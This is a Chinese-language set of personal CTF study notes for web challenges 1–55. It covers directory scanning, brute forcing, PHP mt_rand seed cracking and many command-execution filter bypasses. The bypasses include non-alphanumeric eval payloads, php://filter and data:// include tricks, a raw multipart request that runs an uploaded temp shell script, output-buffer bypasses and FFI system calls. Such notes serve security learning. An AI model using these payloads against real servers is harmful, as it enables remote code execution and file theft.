前言
决定从头开始系统性学习web,由于篇幅过长,分阶段更新,最后总结成一个超大md
进度
web1-web55
信息搜集
1.目录扫描
1
| python .\dirsearch.py -u https://www.www.example.com
|
2.请求头/响应头信息
3.dns txt记录
1
| nslookup -q=TXT https://www.www.example.com
|
4.页面信息泄露
爆破
1.yakit编码爆破
1 2
| 爆破base64后的admin:xxxx格式 {{base64(admin:{{file:line(C:\Users\32965\Downloads\dic\dict.txt)}})}}
|
2.脚本爆破特定md5
3.php根据第一次随机数爆破随机数种子
1
| ./php_mt_seed 213614449(第一个随机数)
|
4.常见的爆破类型
命令执行
1.当目标函数为system();
1 2 3 4 5 6 7 8
| 执行linux命令,适用于linux特性 关键字绕过: $@为空,$IFS为空格(有时需用${IFS}) "fl""ag"==fl\ag==fl''ag==fla?==fl$@ag==flag 语法绕过: c\at<fl\ag==c\at<>fl\ag==c$@at$IFSfl\ag==c\at$IFSfl??==cat flag /bin/?at${IFS}f???????
|
2.当目标函数为eval();
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| 1.使用system();函数或echo `command`;,同上 2.使用php代码: print_r();、var_dump();、var_export();打印出array数组 localeconv();获取当前区域设置(第一个一般是当前目录) pos();获取第一个元素 scandir();获取传入目录下的文件-->array array_reverse();列表倒序 next();下一个元素 array_slice();列表切割array_slice($array,start,length) show_source();展示源码(如果是文件) echo(implode('---',scandir("/"))); 查看/目录的内容,用---隔开
type1. c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo($f->__toString().' '); } exit(0); ?> //闭合的标签可以去掉
type2. c=$a ="glob:///*"; if($b = opendir($a)){ while( ($file = readdir($b)) !== false ){ echo "filename:".$file."\n"; } closedir($b); }exit; 注入脚本读取目录
|
所以web31除了官方的写法,还可以这样写:show_source(array_slice(scandir(pos(localeconv())),2,1)[0]);
1 2
| 其实当目标函数为eval();时直接用'^','~'构造无数字字母payload,基本上是通杀 system("ls")-->(~%8C%86%8C%8B%9A%92)(~%93%8C);
|
1 2 3 4 5 6
| 多次传参绕过(目标函数为eval();): ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php 注意include要用?>闭合文件开头的<?php
c=$_GET[1]($_GET[2]);&1=system&2=ls-->system("ls"); 似乎只能传字符串,$_GET[1]&1=system("ls");不行
|
3.目标函数为include();
1 2 3 4 5 6
| data伪协议base64编码 data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg== include();不支持用data传递文件名,但是可以用data传递文件内容,让他被包含,如<?php system('cat flag.php');?>
include($c.".php");-->data://text/plain,<?php system("cat f*");?> 当跟字符串拼接时似乎不能用base64
|
4.符号绕过
1 2 3 4 5 6 7
| 当过滤了很多符号时(? _ () ;能用) 1.cooke注入:c=session_start();system(session_id()); PHPSESSID值修改为命令,但是只能包含a-z, A-Z, 0-9, '-,'没啥用 2.使用内置函数:c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 3.过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字,使用|或运算得到目标字符 直接用官方给的exp.py rce_or.php生成payload 4.过滤了*?\时可以用[e-g]表示f
|
5.linux输出绕过
1 2 3
| 查看内容的命令cat、tac、more、less、head、tail、nl、sed、sort、uniq system($c." >/dev/null 2>&1"); -->';' %0a(换行符,除了%还可以x十六进制) ||(前面执行失败时才执行后面的命令)
|
6.过滤字母并且目标函数为system();(不能用无字母数字绕过,不能用多次传参绕过)
1 2 3
| 利用.执行sh命令 如. ./test (test为shell脚本),如果当前目录在环境变量中,可不加'./' 而shell脚本可用post请求发出,会被保存为/tmp/php??????中
|
由此得到payload:
[@-[]]表示匹配@-[之间的字符,除了这两个外就是所有的大写字母
!!!/???/????????[@-[]会匹配临时文件中最后一个字母为大写字母的文件,由于产生的是随机大小写字母,所以可能会出现匹配失败的情况,要多试几次!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| POST /?c=.+/???/????????[@-[] HTTP/1.1 Host: 8f81a97d-7b17-4357-b189-89a80d361ea5.challenge.ctf.show Origin: null Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryprQWhJH4tx9vMmve Accept-Language: zh-CN,zh;q=0.9 Content-Length: 312
------WebKitFormBoundaryprQWhJH4tx9vMmve Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream
#!/bin/sh -->指定shell(可不写) ls -->命令 ------WebKitFormBoundaryprQWhJH4tx9vMmve Content-Disposition: form-data; name="submit"
提交 ------WebKitFormBoundaryprQWhJH4tx9vMmve--
|
7.读取文件的函数
highlight_file(); show_source(); include(); readgzfile();
8.缓冲区劫持
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php error_reporting(0); ini_set('display_errors', 0); if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
?>
|
关键字:ob_end_clean();
1 2 3 4
| 可用c=include('/flag.txt');ob_flush(); ob_flush(); -->将缓存区内容发送至浏览器,并清空 ob_end_flush();-->将缓存区内容发送至浏览器,并关闭缓冲区 exit();、die();-->直接退出,绕过缓冲区劫持
|
9.mysql读取文件
1 2 3 4
| c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);
|
10.ffi读取
1 2 3
| $ffi = FFI::cdef("int system(const char *command);");//创建一个system对象 $a='/readflag > 1.txt';//没有回显的,readflag为flag文件 $ffi->system($a);//通过$ffi去调用system函数
|
未完待续。。。